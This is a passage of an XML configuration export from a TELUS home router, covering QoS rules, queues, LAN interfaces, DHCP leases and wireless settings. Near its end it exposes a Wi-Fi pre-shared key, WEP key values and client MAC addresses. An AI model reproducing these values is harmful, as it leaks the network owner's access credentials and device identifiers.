 <Protocol>17</Protocol>
 <DestPort>123</DestPort>
 <DestPortRangeMax>123</DestPortRangeMax>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule6</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="7">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>7</ClassificationOrder>
 <ClassInterface>Local</ClassInterface>
 <Protocol>17</Protocol>
 <DestPort>67</DestPort>
 <DestPortRangeMax>68</DestPortRangeMax>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule7</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="8">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>8</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>17</Protocol>
 <DestPort>53</DestPort>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule8</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="9">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>9</ClassificationOrder>
 <ClassInterface>Local</ClassInterface>
 <Protocol>17</Protocol>
 <DestPort>53</DestPort>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule9</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="10">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>10</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>6</Protocol>
 <DestPort>53</DestPort>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule10</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="11">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>11</ClassificationOrder>
 <ClassInterface>Local</ClassInterface>
 <Protocol>6</Protocol>
 <DestPort>53</DestPort>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule11</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="12">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>12</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>6</Protocol>
 <DestPort>80</DestPort>
 <Ethertype>2048</Ethertype>
 <ClassQueue>38</ClassQueue>
 <X_5067F0_ClassName>Rule12</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="13">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>13</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>6</Protocol>
 <DestPort>443</DestPort>
 <Ethertype>2048</Ethertype>
 <ClassQueue>38</ClassQueue>
 <X_5067F0_ClassName>Rule13</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="14">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>14</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>6</Protocol>
 <DestPort>25</DestPort>
 <Ethertype>2048</Ethertype>
 <ClassQueue>38</ClassQueue>
 <X_5067F0_ClassName>Rule14</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="15">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>15</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>17</Protocol>
 <DestPort>25</DestPort>
 <Ethertype>2048</Ethertype>
 <ClassQueue>38</ClassQueue>
 <X_5067F0_ClassName>Rule15</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="16">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>16</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>6</Protocol>
 <DestPort>110</DestPort>
 <Ethertype>2048</Ethertype>
 <ClassQueue>38</ClassQueue>
 <X_5067F0_ClassName>Rule16</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="17">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>17</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>17</Protocol>
 <DestPort>110</DestPort>
 <Ethertype>2048</Ethertype>
 <ClassQueue>38</ClassQueue>
 <X_5067F0_ClassName>Rule17</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification nextInstance="18" ></Classification>
 <Queue instance="1">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>1</X_5067F0_QueueId>
 </Queue>
 <Queue instance="2">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>2</QueuePrecedence>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>2</X_5067F0_QueueId>
 </Queue>
 <Queue instance="3">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>3</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>3</X_5067F0_QueueId>
 </Queue>
 <Queue instance="4">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>4</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>4</X_5067F0_QueueId>
 </Queue>
 <Queue instance="5">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>5</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>5</X_5067F0_QueueId>
 </Queue>
 <Queue instance="6">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>6</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>6</X_5067F0_QueueId>
 </Queue>
 <Queue instance="7">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>7</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>7</X_5067F0_QueueId>
 </Queue>
 <Queue instance="8">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface>
 <QueuePrecedence>8</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>8</X_5067F0_QueueId>
 </Queue>
 <Queue instance="9">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>1</X_5067F0_QueueId>
 </Queue>
 <Queue instance="10">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>2</QueuePrecedence>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>2</X_5067F0_QueueId>
 </Queue>
 <Queue instance="11">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>3</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>3</X_5067F0_QueueId>
 </Queue>
 <Queue instance="12">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>4</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>4</X_5067F0_QueueId>
 </Queue>
 <Queue instance="13">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>5</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>5</X_5067F0_QueueId>
 </Queue>
 <Queue instance="14">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>6</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>6</X_5067F0_QueueId>
 </Queue>
 <Queue instance="15">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>7</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>7</X_5067F0_QueueId>
 </Queue>
 <Queue instance="16">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface>
 <QueuePrecedence>8</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>8</X_5067F0_QueueId>
 </Queue>
 <Queue instance="17">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>1</X_5067F0_QueueId>
 </Queue>
 <Queue instance="18">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>2</QueuePrecedence>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>2</X_5067F0_QueueId>
 </Queue>
 <Queue instance="19">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>3</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>3</X_5067F0_QueueId>
 </Queue>
 <Queue instance="20">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>4</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>4</X_5067F0_QueueId>
 </Queue>
 <Queue instance="21">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>5</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>5</X_5067F0_QueueId>
 </Queue>
 <Queue instance="22">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>6</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>6</X_5067F0_QueueId>
 </Queue>
 <Queue instance="23">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>7</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>7</X_5067F0_QueueId>
 </Queue>
 <Queue instance="24">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface>
 <QueuePrecedence>8</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>8</X_5067F0_QueueId>
 </Queue>
 <Queue instance="25">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>1</X_5067F0_QueueId>
 </Queue>
 <Queue instance="26">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>2</QueuePrecedence>
 <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>2</X_5067F0_QueueId>
 </Queue>
 <Queue instance="27">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>3</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>3</X_5067F0_QueueId>
 </Queue>
 <Queue instance="28">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>4</QueuePrecedence>
 <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName>
 <X_5067F0_QueueId>4</X_5067F0_QueueId>
 </Queue>
 <Queue instance="29">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>5</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>5</X_5067F0_QueueId>
 </Queue>
 <Queue instance="30">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>6</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>6</X_5067F0_QueueId>
 </Queue>
 <Queue instance="31">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>7</QueuePrecedence>
 <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName>
 <X_5067F0_QueueId>7</X_5067F0_QueueId>
 </Queue>
 <Queue instance="32">
 <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface>
 <QueuePrecedence>8</QueuePrecedence>
 <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName>
 <X_5067F0_QueueId>8</X_5067F0_QueueId>
 </Queue>
 <Queue instance="33">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>8</QueuePrecedence>
 <X_5067F0_QueueName>DefaultQueue</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 </Queue>
 <Queue instance="34">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <X_5067F0_QueueName>PriQ1</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>1</X_5067F0_QueueId>
 </Queue>
 <Queue instance="35">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>2</QueuePrecedence>
 <X_5067F0_QueueName>PriQ2</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>2</X_5067F0_QueueId>
 </Queue>
 <Queue instance="36">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>3</QueuePrecedence>
 <X_5067F0_QueueName>PriQ3</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>3</X_5067F0_QueueId>
 </Queue>
 <Queue instance="37">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>4</QueuePrecedence>
 <X_5067F0_QueueName>PriQ4</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>4</X_5067F0_QueueId>
 </Queue>
 <Queue instance="38">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>5</QueuePrecedence>
 <X_5067F0_QueueName>PriQ5</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>5</X_5067F0_QueueId>
 </Queue>
 <Queue instance="39">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>6</QueuePrecedence>
 <X_5067F0_QueueName>PriQ6</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>6</X_5067F0_QueueId>
 </Queue>
 <Queue instance="40">
 <QueueEnable>TRUE</QueueEnable>
 <QueueInterface>WAN</QueueInterface>
 <QueueWeight>1</QueueWeight>
 <QueuePrecedence>7</QueuePrecedence>
 <X_5067F0_QueueName>PriQ7</X_5067F0_QueueName>
 <X_5067F0_DslLatency>0</X_5067F0_DslLatency>
 <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority>
 <X_5067F0_QueueId>7</X_5067F0_QueueId>
 </Queue>
 <Queue nextInstance="41" ></Queue>
 </QueueManagement>
 <LANDevice instance="1">
 <LANEthernetInterfaceNumberOfEntries>5</LANEthernetInterfaceNumberOfEntries>
 <LANUSBInterfaceNumberOfEntries>0</LANUSBInterfaceNumberOfEntries>
 <LANWLANConfigurationNumberOfEntries>4</LANWLANConfigurationNumberOfEntries>
 <X_5067F0_LANMocaInterfaceNumberOfEntries>0</X_5067F0_LANMocaInterfaceNumberOfEntries>
 <X_5067F0_IgmpSnoopingConfig>
 <Enable>TRUE</Enable>
 </X_5067F0_IgmpSnoopingConfig>
 <LANHostConfigManagement>
 <DHCPServerEnable>TRUE</DHCPServerEnable>
 <IPInterfaceNumberOfEntries>1</IPInterfaceNumberOfEntries>
 <IPInterface instance="1">
 <Enable>TRUE</Enable>
 <IPInterfaceIPAddress>192.168.1.254</IPInterfaceIPAddress>
 <X_5067F0_IfName>br0</X_5067F0_IfName>
 </IPInterface>
 <IPInterface instance="2">
 <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress>
 <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask>
 <X_5067F0_IfName>br0:0</X_5067F0_IfName>
 </IPInterface>
 <IPInterface instance="3">
 <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress>
 <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask>
 <X_5067F0_IfName>br0:1</X_5067F0_IfName>
 </IPInterface>
 <IPInterface instance="4">
 <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress>
 <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask>
 <X_5067F0_IfName>br0:2</X_5067F0_IfName>
 </IPInterface>
 <IPInterface instance="5">
 <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress>
 <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask>
 <X_5067F0_IfName>br0:3</X_5067F0_IfName>
 </IPInterface>
 <IPInterface instance="6">
 <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress>
 <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask>
 <X_5067F0_IfName>br0:4</X_5067F0_IfName>
 </IPInterface>
 <IPInterface nextInstance="7" ></IPInterface>
 <DHCPStaticAddress instance="1">
 <Enable>TRUE</Enable>
 <Chaddr>b0:e8:92:47:52:b1</Chaddr>
 <Yiaddr>192.168.1.XX</Yiaddr>
 </DHCPStaticAddress>
 <DHCPStaticAddress instance="2">
 <Enable>TRUE</Enable>
 <Chaddr>48:44:f7:52:8a:f6</Chaddr>
 <Yiaddr>192.168.1.XX</Yiaddr>
 </DHCPStaticAddress>
 <DHCPStaticAddress instance="3">
 <Enable>TRUE</Enable>
 <Chaddr>b0:e8:92:06:5b:0f</Chaddr>
 <Yiaddr>192.168.1.XX</Yiaddr>
 </DHCPStaticAddress>
 <DHCPStaticAddress nextInstance="4" ></DHCPStaticAddress>
 </LANHostConfigManagement>
 <LANEthernetInterfaceConfig instance="1">
 <Enable>TRUE</Enable>
 <X_5067F0_IfName>eth0.0</X_5067F0_IfName>
 <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing>
 <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark>
 <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark>
 </LANEthernetInterfaceConfig>
 <LANEthernetInterfaceConfig instance="2">
 <Enable>TRUE</Enable>
 <X_5067F0_IfName>eth1.0</X_5067F0_IfName>
 <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing>
 <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark>
 <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark>
 </LANEthernetInterfaceConfig>
 <LANEthernetInterfaceConfig instance="3">
 <Enable>TRUE</Enable>
 <X_5067F0_IfName>eth2.0</X_5067F0_IfName>
 <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing>
 <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark>
 <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark>
 </LANEthernetInterfaceConfig>
 <LANEthernetInterfaceConfig instance="4">
 <Enable>TRUE</Enable>
 <X_5067F0_IfName>eth3.0</X_5067F0_IfName>
 <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing>
 <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark>
 <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark>
 </LANEthernetInterfaceConfig>
 <LANEthernetInterfaceConfig instance="5">
 <Enable>TRUE</Enable>
 <X_5067F0_IfName>eth10.0</X_5067F0_IfName>
 <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing>
 <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark>
 <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark>
 </LANEthernetInterfaceConfig>
 <LANEthernetInterfaceConfig nextInstance="6" ></LANEthernetInterfaceConfig>
 <WLANConfiguration instance="1">
 <MaxBitRate>144.5</MaxBitRate>
 <Channel>11</Channel>
 <SSID>TELUS8230</SSID>
 <BeaconType>WPAand11i</BeaconType>
 <WEPKeyIndex>1</WEPKeyIndex>
 <BasicEncryptionModes>None</BasicEncryptionModes>
 <BasicAuthenticationMode>None</BasicAuthenticationMode>
 <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes>
 <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode>
 <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes>
 <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode>
 <BasicDataTransmitRates>54</BasicDataTransmitRates>
 <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates>
 <RadioEnabled>TRUE</RadioEnabled>
 <LocationDescription>NOS</LocationDescription>
 <RegulatoryDomain>US</RegulatoryDomain>
 <PeerBSSID>NOS</PeerBSSID>
 <AuthenticationServiceMode>NOS</AuthenticationServiceMode>
 <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled>
 <X_5067F0_IfName>wl0</X_5067F0_IfName>
 <X_5067F0_HideSSID>FALSE</X_5067F0_HideSSID>
 <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID>
 <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable>
 <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden>
 <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients>
 <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID>
 <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable>
 <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden>
 <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients>
 <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID>
 <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable>
 <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden>
 <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <AssociatedDevice instance="172264">
 <X_5067F0_Authorized>1</X_5067F0_Authorized>
 <X_5067F0_Ssid>TELUS8230</X_5067F0_Ssid>
 <X_5067F0_Ifcname>wl0</X_5067F0_Ifcname>
 </AssociatedDevice>
 <AssociatedDevice instance="172265">
 <X_5067F0_Authorized>1</X_5067F0_Authorized>
 <X_5067F0_Ssid>TELUS8230</X_5067F0_Ssid>
 <X_5067F0_Ifcname>wl0</X_5067F0_Ifcname>
 </AssociatedDevice>
 <AssociatedDevice nextInstance="172266" ></AssociatedDevice>
 <WEPKey instance="1">
 <WEPKey>648f7</WEPKey>
 </WEPKey>
 <WEPKey instance="2">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="3">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="4">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey nextInstance="5" ></WEPKey>
 <PreSharedKey instance="1">
 <PreSharedKey>929915929</PreSharedKey>
 </PreSharedKey>
 <PreSharedKey nextInstance="2" ></PreSharedKey>
 <APWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>6</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="3">
 <AIFSN>1</AIFSN>
